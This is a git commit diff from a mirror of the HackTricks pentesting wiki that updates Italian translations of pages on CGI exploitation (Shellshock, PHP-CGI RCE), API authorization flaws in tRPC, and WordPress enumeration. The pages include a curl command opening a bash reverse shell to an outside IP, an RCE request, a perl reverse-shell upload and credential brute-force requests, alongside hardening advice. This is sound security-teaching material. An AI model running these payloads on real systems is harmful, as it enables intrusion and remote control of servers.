mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/pentest
This commit is contained in:
parent
a42bf82087
commit
bbd3577d81
Binary file not shown.
Before Width: | Height: | Size: 6.5 KiB |
BIN
src/images/k8studio.png
Normal file
BIN
src/images/k8studio.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 87 KiB |
File diff suppressed because it is too large
Load Diff
@ -5,26 +5,26 @@
|
||||
|
||||
## Informazioni
|
||||
|
||||
Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ scripts puoi **caricare una perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **cambiare l'estensione** da **.pl** a **.cgi**, dare i **permessi di esecuzione** (`chmod +x`) e **accedere** alla reverse shell **dal browser** per eseguirla.
|
||||
Per testare le **CGI vulns** è consigliato usare `nikto -C all` (e tutti i plugin)
|
||||
The **CGI scripts are perl scripts**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ scripts puoi **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** da **.pl** a **.cgi**, dare i **permessi di esecuzione** \(`chmod +x`\) e **accedere** alla reverse shell **dal web browser** per eseguirla.
|
||||
Per testare le **CGI vulns** è consigliato usare `nikto -C all` \(e tutti i plugin\)
|
||||
|
||||
## **ShellShock**
|
||||
|
||||
**ShellShock** è una **vulnerabilità** che colpisce la diffusissima shell a riga di comando **Bash** nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili d'ambiente**, che sono valori nominati dinamici che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttarla allegando **codice maligno** alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di compromettere potenzialmente il sistema.
|
||||
**ShellShock** è una **vulnerabilità** che colpisce la diffusamente usata shell a riga di comando **Bash** nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili d'ambiente**, che sono valori dinamici nominati che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando **codice maligno** alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di potenzialmente compromettere il sistema.
|
||||
|
||||
Sfruttando questa vulnerabilità la **pagina potrebbe restituire un errore**.
|
||||
|
||||
Puoi **trovare** questa vulnerabilità notando che usa una **vecchia versione di Apache** e **cgi_mod** (con la cartella cgi) o usando **nikto**.
|
||||
Puoi **trovare** questa vulnerabilità notando che sta usando una **vecchia versione di Apache** e **cgi_mod** \(con la cartella cgi\) oppure usando **nikto**.
|
||||
|
||||
### **Test**
|
||||
|
||||
La maggior parte dei test si basano sul fare echo di qualcosa e aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.
|
||||
La maggior parte dei test si basa sul fare echo di qualcosa e sull'aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||
```
|
||||
## **Curl \(riflesso, blind e out-of-band\)**
|
||||
## **Curl \(reflected, blind and out-of-band\)**
|
||||
```bash
|
||||
# Reflected
|
||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||
@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
## Dispatcher CGI centralizzati (single endpoint routing via selector parameters)
|
||||
## Dispatcher CGI centralizzati (instradamento a singolo endpoint tramite parametri selector)
|
||||
|
||||
Molte interfacce web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, `/cgi-bin/cstecgi.cgi`) e usano un selector parameter come `topicurl=<handler>` per instradare la richiesta a una funzione interna.
|
||||
Molte UI web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, `/cgi-bin/cstecgi.cgi`) e usano un parametro selector come `topicurl=<handler>` per instradare la richiesta verso una funzione interna.
|
||||
|
||||
Metodologia per sfruttare questi router:
|
||||
Metodologia per sfruttare questi dispatcher:
|
||||
|
||||
- Enumerare i nomi dei handler: scrape di JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per stringhe di handler usate dal dispatcher.
|
||||
- Testare la reachability non autenticata: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente.
|
||||
- Concentrarsi su handler che invocano system utilities o che eseguono touch su file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen `-`.
|
||||
- Enumerare i nomi dei handler: scrape JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per handler strings usate dal dispatcher.
|
||||
- Testare la raggiungibilità senza autenticazione: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente.
|
||||
- Concentrarsi su handler che invocano system utilities o che toccano file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen `-`.
|
||||
|
||||
Schemi generici di exploit:
|
||||
Forme generiche di exploit:
|
||||
```http
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -77,29 +77,29 @@ topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
Rilevamento e hardening:
|
||||
|
||||
- Monitorare richieste non autenticate a endpoint CGI centralizzati con `topicurl` impostato su handler sensibili.
|
||||
- Segnala i parametri che iniziano con `-` (argv option injection attempts).
|
||||
- Fornitori: imporre l'autenticazione su tutti gli handlers che modificano lo stato, convalidare usando strict allowlists/types/lengths, e non passare mai stringhe controllate dall'utente come flag della riga di comando.
|
||||
- Monitorare richieste non autenticate agli endpoint CGI centralizzati con `topicurl` impostato su handler sensibili.
|
||||
- Segnalare i parametri che iniziano con `-` (argv option injection attempts).
|
||||
- Fornitori: imporre l'autenticazione su tutti gli handler che modificano lo stato, convalidare usando allowlists/types/lengths rigorose, e non passare mai stringhe controllate dall'utente come command-line flags.
|
||||
|
||||
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
## PHP obsoleto + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
Fondamentalmente se cgi è attivo e php è "vecchio" \(<5.3.12 / < 5.4.2\) puoi eseguire codice.
|
||||
Per sfruttare questa vulnerabilità devi accedere a un file PHP del web server senza inviare parametri \(specialmente senza inviare il carattere "="\).
|
||||
Per testare questa vulnerabilità, puoi ad esempio accedere a `/index.php?-s` \(nota il `-s`\) e **il codice sorgente dell'applicazione apparirà nella risposta**.
|
||||
Fondamentalmente, se cgi è attivo e php è "vecchio" \(<5.3.12 / < 5.4.2\) è possibile eseguire codice.
|
||||
Per sfruttare questa vulnerabilità è necessario accedere a un file PHP del web server senza inviare parametri \(in particolare senza inviare il carattere "="\).
|
||||
Poi, per testare la vulnerabilità, si può accedere ad esempio a `/index.php?-s` \(nota il `-s`\) e **il source code of the application will appear in the response**.
|
||||
|
||||
Poi, per ottenere **RCE** puoi inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e mettere il **codice PHP** da eseguire nel **corpo della richiesta**. Esempio:
|
||||
Quindi, per ottenere **RCE** è possibile inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e mettere il **PHP code** da eseguire nel **body of the request. Example:**
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**Maggiori informazioni sul vuln e possibili exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM alle richieste al Web server\)**
|
||||
## **Proxy \(MitM to Web server requests\)**
|
||||
|
||||
CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com"
|
||||
CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creato come "HTTP_HOST"="web.com"
|
||||
|
||||
Poiché la variabile HTTP_PROXY potrebbe essere usata dal web server, prova a inviare un **header** contenente: "**Proxy: <IP_attacker>:<PORT>**" e, se il server esegue qualsiasi richiesta durante la sessione, potrai catturare ogni richiesta fatta dal server.
|
||||
Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal web server, prova a inviare un **header** contenente: "**Proxy: <IP_attacker>:<PORT>**" e se il server effettua qualsiasi richiesta durante la sessione potrai catturare ogni richiesta fatta dal server.
|
||||
|
||||
## **References**
|
||||
## **Riferimenti**
|
||||
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
|
@ -2,54 +2,96 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Riepilogo della Metodologia di Pentesting API
|
||||
## Sommario della metodologia API Pentesting
|
||||
|
||||
Il pentesting delle API implica un approccio strutturato per scoprire vulnerabilità. Questa guida racchiude una metodologia completa, enfatizzando tecniche e strumenti pratici.
|
||||
Pentesting delle API richiede un approccio strutturato per scoprire vulnerabilità. Questa guida racchiude una metodologia completa, con enfasi su tecniche e strumenti pratici.
|
||||
|
||||
### **Comprendere i Tipi di API**
|
||||
### **Understanding API Types**
|
||||
|
||||
- **SOAP/XML Web Services**: Utilizzano il formato WSDL per la documentazione, tipicamente trovato nei percorsi `?wsdl`. Strumenti come **SOAPUI** e **WSDLer** (Estensione di Burp Suite) sono strumentali per analizzare e generare richieste. La documentazione di esempio è accessibile su [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: La documentazione spesso è disponibile in file WADL, tuttavia strumenti come [Swagger UI](https://swagger.io/tools/swagger-ui/) forniscono un'interfaccia più user-friendly per l'interazione. **Postman** è uno strumento prezioso per creare e gestire richieste di esempio.
|
||||
- **GraphQL**: Un linguaggio di query per API che offre una descrizione completa e comprensibile dei dati nella tua API.
|
||||
- **SOAP/XML Web Services**: Utilizzano il formato WSDL per la documentazione, tipicamente reperibile in percorsi `?wsdl`. Strumenti come **SOAPUI** e **WSDLer** (Burp Suite Extension) sono fondamentali per il parsing e la generazione di request. Un esempio di documentazione è disponibile su [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: La documentazione spesso è in file WADL, ma strumenti come [Swagger UI](https://swagger.io/tools/swagger-ui/) offrono un'interfaccia più user-friendly per l'interazione. **Postman** è utile per creare e gestire request di esempio.
|
||||
- **GraphQL**: Un query language per API che offre una descrizione completa e comprensibile dei dati esposti dall'API.
|
||||
|
||||
### **Laboratori Pratici**
|
||||
### **Practice Labs**
|
||||
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Un'API deliberatamente vulnerabile per esercitazioni pratiche, coprendo le 10 vulnerabilità API principali di OWASP.
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): Un'API volutamente vulnerabile per esercitarsi, coprendo le vulnerabilità OWASP top 10 per API.
|
||||
|
||||
### **Trucchi Efficaci per il Pentesting delle API**
|
||||
### **Effective Tricks for API Pentesting**
|
||||
|
||||
- **Vulnerabilità SOAP/XML**: Esplora le vulnerabilità XXE, sebbene le dichiarazioni DTD siano spesso limitate. I tag CDATA possono consentire l'inserimento di payload se l'XML rimane valido.
|
||||
- **Escalation dei Privilegi**: Testa gli endpoint con diversi livelli di privilegio per identificare possibilità di accesso non autorizzato.
|
||||
- **Misconfigurazioni CORS**: Indaga le impostazioni CORS per potenziali sfruttamenti attraverso attacchi CSRF da sessioni autenticate.
|
||||
- **Scoperta degli Endpoint**: Sfrutta i modelli API per scoprire endpoint nascosti. Strumenti come i fuzzers possono automatizzare questo processo.
|
||||
- **Manipolazione dei Parametri**: Sperimenta con l'aggiunta o la sostituzione di parametri nelle richieste per accedere a dati o funzionalità non autorizzate.
|
||||
- **Testing dei Metodi HTTP**: Varia i metodi di richiesta (GET, POST, PUT, DELETE, PATCH) per scoprire comportamenti inaspettati o divulgazioni di informazioni.
|
||||
- **Manipolazione del Content-Type**: Passa tra diversi tipi di contenuto (x-www-form-urlencoded, application/xml, application/json) per testare problemi di parsing o vulnerabilità.
|
||||
- **Tecniche Avanzate sui Parametri**: Testa con tipi di dati inaspettati nei payload JSON o gioca con i dati XML per iniezioni XXE. Prova anche la contaminazione dei parametri e i caratteri jolly per test più ampi.
|
||||
- **Testing delle Versioni**: Le versioni API più vecchie potrebbero essere più suscettibili agli attacchi. Controlla sempre e testa contro più versioni API.
|
||||
- **SOAP/XML Vulnerabilities**: Esplora possibili XXE, sebbene le dichiarazioni DTD siano spesso limitate. I tag CDATA possono permettere l'inserimento di payload se l'XML resta valido.
|
||||
- **Privilege Escalation**: Prova endpoint con livelli di privilegio differenti per identificare possibili accessi non autorizzati.
|
||||
- **CORS Misconfigurations**: Analizza le impostazioni CORS per potenziali vie di attacco attraverso CSRF da sessioni autenticate.
|
||||
- **Endpoint Discovery**: Sfrutta pattern delle API per scoprire endpoint nascosti. Tool come i fuzzers possono automatizzare il processo.
|
||||
- **Parameter Tampering**: Sperimenta aggiungendo o sostituendo parametri nelle request per accedere a dati o funzionalità non autorizzate.
|
||||
- **HTTP Method Testing**: Varia i metodi di request (GET, POST, PUT, DELETE, PATCH) per scoprire comportamenti inattesi o leak di informazioni.
|
||||
- **Content-Type Manipulation**: Passa tra diversi content-type (x-www-form-urlencoded, application/xml, application/json) per testare problemi di parsing o vulnerabilità.
|
||||
- **Advanced Parameter Techniques**: Testa tipi di dato inattesi nei payload JSON o gioca con dati XML per iniezioni XXE. Prova anche parameter pollution e caratteri wildcard per test più ampi.
|
||||
- **Version Testing**: Le versioni più vecchie delle API potrebbero essere più vulnerabili. Verifica sempre la presenza di più versioni e testale.
|
||||
|
||||
### **Strumenti e Risorse per il Pentesting delle API**
|
||||
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Eccellente per scoprire endpoint API. Usalo per scansionare e forzare percorsi e parametri contro le API target.
|
||||
Gli stack TypeScript moderni usano spesso tRPC con Zod per la validazione degli input. In tRPC, `protectedProcedure` in genere assicura che la request abbia una sessione valida (authentication) ma non implica che il chiamante abbia il ruolo/permessi corretti (authorization). Questo mismatch porta a Broken Function Level Authorization/BOLA se procedure sensibili sono protette solo da `protectedProcedure`.
|
||||
|
||||
- Threat model: Qualsiasi utente autenticato con privilegi ridotti può invocare procedure di livello admin se mancano i controlli di ruolo (es., background migrations, feature flags, tenant-wide maintenance, job control).
|
||||
- Black-box signal: endpoint `POST /api/trpc/<router>.<procedure>` che hanno successo per account base quando dovrebbero essere riservati agli admin. Le self-serve signups aumentano drasticamente l'exploitability.
|
||||
- Typical tRPC route shape (v10+): corpo JSON avvolto in `{"input": {...}}`.
|
||||
|
||||
Example vulnerable pattern (no role/permission gate):
|
||||
```ts
|
||||
// The endpoint for retrying a migration job
|
||||
// This checks for a valid session (authentication)
|
||||
retry: protectedProcedure
|
||||
// but not for an admin role (authorization).
|
||||
.input(z.object({ name: z.string() }))
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
// Logic to restart a sensitive migration
|
||||
}),
|
||||
```
|
||||
Sfruttamento pratico (black-box)
|
||||
|
||||
1) Registrare un account normale e ottenere una sessione autenticata (cookies/headers).
|
||||
2) Enumerare background jobs o altre risorse sensibili tramite le procedure “list”/“all”/“status”.
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{}}'
|
||||
```
|
||||
3) Invocare azioni privilegiate come riavviare un job:
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{"name":"<migration_name>"}}'
|
||||
```
|
||||
Impact to assess
|
||||
|
||||
- Corruzione dei dati dovuta a riavvii non idempotenti: Forzare esecuzioni concorrenti di migrations/workers può creare race conditions e stati parziali incoerenti (perdita di dati silenziosa, analytics danneggiati).
|
||||
- DoS via worker/DB starvation: Il trigger ripetuto di job pesanti può esaurire i pool di worker e le connessioni al database, causando outage a livello di tenant.
|
||||
|
||||
### **Strumenti e risorse per API Pentesting**
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Eccellente per scoprire endpoint API. Usalo per eseguire scan e brute force su percorsi e parametri delle API target.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj è uno strumento da riga di comando progettato per assistere nell'audit dei **file di definizione Swagger/OpenAPI esposti** controllando gli endpoint API associati per autenticazione debole. Fornisce anche modelli di comando per il testing manuale delle vulnerabilità.
|
||||
- Strumenti aggiuntivi come **automatic-api-attack-tool**, **Astra** e **restler-fuzzer** offrono funzionalità su misura per il testing della sicurezza delle API, che vanno dalla simulazione di attacchi al fuzzing e alla scansione delle vulnerabilità.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): È uno strumento di sicurezza API che esamina la tua API basandosi su un file OAS (lo strumento è scritto in rust).
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj è uno strumento da linea di comando progettato per assistere nella verifica di **file di definizione Swagger/OpenAPI esposti** controllando gli endpoint API associati per autenticazione debole. Fornisce anche template di comandi per test di vulnerabilità manuali.
|
||||
- Altri strumenti come **automatic-api-attack-tool**, **Astra**, e **restler-fuzzer** offrono funzionalità mirate per il testing della sicurezza API, che vanno dalla simulazione di attacchi al fuzzing e alla scansione di vulnerabilità.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): È uno strumento di sicurezza API che esegue l'audit della tua API basandosi su un file OAS (lo strumento è scritto in rust).
|
||||
|
||||
### **Risorse per Apprendimento e Pratica**
|
||||
### **Risorse di apprendimento e pratica**
|
||||
|
||||
- **OWASP API Security Top 10**: Lettura essenziale per comprendere le vulnerabilità comuni delle API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: Un elenco completo per la sicurezza delle API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Per la ricerca di vulnerabilità API, Logger++ offre filtri utili ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Un elenco curato di potenziali endpoint API per scopi di testing ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
- **API Security Checklist**: Una checklist completa per mettere in sicurezza le API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Per cercare vulnerabilità API, Logger++ offre filtri utili ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: Una lista curata di potenziali endpoint API per scopi di testing ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,18 +5,18 @@
|
||||
## Informazioni di base
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi del php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **access** il file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In `wp-config.php` puoi trovare la password root del database.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** puoi trovare la password root del database.
|
||||
- Percorsi di login di default da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **File principali di WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
|
||||
- `wp-activate.php` è usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.
|
||||
- `wp-activate.php` viene usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
|
||||
- Cartelle di login (possono essere rinominate per nasconderle):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
@ -24,21 +24,21 @@
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme.
|
||||
- `wp-content/uploads/` è la directory dove vengono salvati i file caricati sulla piattaforma.
|
||||
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, fonts, file JavaScript e widget.
|
||||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
|
||||
- `wp-content/uploads/` è la directory dove vengono conservati i file caricati sulla piattaforma.
|
||||
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.
|
||||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i post type e le tassonomie pubblicamente interrogabili.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Il file `wp-config.php` contiene informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys e salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
|
||||
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, le chiavi di autenticazione e i salt, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
|
||||
|
||||
### Permessi utenti
|
||||
|
||||
- **Amministratore**
|
||||
- **Editor**: Pubblica e gestisce i propri e gli altri post
|
||||
- **Autore**: Pubblica e gestisce i propri post
|
||||
- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
|
||||
- **Iscritto**: Naviga i post e modifica il proprio profilo
|
||||
- Amministratore
|
||||
- Editor: Pubblica e gestisce i propri e gli altrui post
|
||||
- Author: Pubblica e gestisce i propri post
|
||||
- Contributor: Scrive e gestisce i propri post ma non può pubblicarli
|
||||
- Subscriber: Visualizza i post e modifica il proprio profilo
|
||||
|
||||
## **Enumerazione passiva**
|
||||
|
||||
@ -68,11 +68,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Ottenere Temi
|
||||
### Ottenere temi
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Estrazione delle versioni in generale
|
||||
### Estrarre le versioni in generale
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,15 +81,15 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins and Themes
|
||||
|
||||
Probabilmente non riuscirai a trovare tutti i Plugins and Themes possibili. Per scoprirli tutti, dovrai **actively Brute Force a list of Plugins and Themes** (si spera esistano strumenti automatizzati che contengono queste liste).
|
||||
Probabilmente non riuscirai a trovare tutti i Plugins and Themes disponibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugins and Themes** (per nostra fortuna esistono strumenti automatici che contengono queste liste).
|
||||
|
||||
### Users
|
||||
### Utenti
|
||||
|
||||
- **ID Brute:** Ottieni utenti validi da un sito WordPress tramite Brute Forcing users IDs:
|
||||
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Forcing degli ID utente:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **invalido**.
|
||||
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **non valido**.
|
||||
|
||||
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti interrogando:
|
||||
```bash
|
||||
@ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzione abilitata**.
|
||||
Nota che questo endpoint espone solo utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**.
|
||||
|
||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe leak indirizzi IP.
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: Quando effettui il login su **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**.
|
||||
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio).
|
||||
Se `xml-rpc.php` è attivo puoi eseguire un brute-force delle credenziali o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo [usando questo](https://github.com/relarizky/wpxploit) per esempio).
|
||||
|
||||
Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
|
||||
Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
|
||||
|
||||
**Verifica**
|
||||
**Controlla**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -122,7 +122,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force credentials. Se riesci a trovare uno di questi puoi inviare qualcosa del tipo:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per eseguire brute-force sulle credentials. Se riesci a trovare uno di essi puoi inviare qualcosa del tipo:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
